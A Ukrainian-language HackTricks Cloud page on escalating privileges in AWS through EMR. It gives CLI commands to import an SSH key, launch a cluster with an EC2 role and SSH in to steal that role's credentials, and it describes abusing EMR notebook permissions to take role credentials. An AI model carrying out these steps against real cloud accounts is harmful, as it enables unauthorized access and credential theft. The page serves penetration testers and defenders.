AWS - EMR Privesc
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
EMR
Більше інформації про EMR у:
iam:PassRole, elasticmapreduce:RunJobFlow
Атакувальник з такими дозволами може запустити новий EMR кластер, прикріпивши EC2 roles та спробувати вкрасти його облікові дані.
Зауважте, що для цього вам потрібно знати якийсь ssh priv key, імпортований в account або імпортувати його, а також мати можливість відкрити порт 22 на master node (можливо, ви зможете зробити це за допомогою атрибутів EmrManagedMasterSecurityGroup та/або ServiceAccessSecurityGroup всередині --ec2-attributes).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Зверніть увагу, як EMR role вказується в --service-role, а ec2 role вказується в --ec2-attributes всередині InstanceProfile. Однак цей метод дозволяє викрасти лише облікові дані ролі EC2 (оскільки ви підключатиметесь через ssh), але не EMR IAM Role.
Potential Impact: Privesc до вказаної ролі сервісу EC2.
elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole
За допомогою цих дозволів нападник може зайти в AWS console, створити Notebook і отримати до нього доступ, щоб викрасти IAM Role.
caution
Навіть якщо ви прикріпите IAM role до notebook instance, у моїх тестах я помітив, що зміг вкрасти AWS managed credentials, а не облікові дані, пов'язані з IAM role.
Potential Impact: Privesc до AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
elasticmapreduce:OpenEditorInConsole
Лише з цим дозволом нападник зможе отримати доступ до Jupyter Notebook і викрасти пов'язаний з ним IAM role.
The URL of the notebook is https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
caution
Навіть якщо ви прикріпите IAM role до notebook instance, у моїх тестах я помітив, що зміг вкрасти AWS managed credentials, а не облікові дані, пов'язані з IAM role
Potential Impact: Privesc до AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud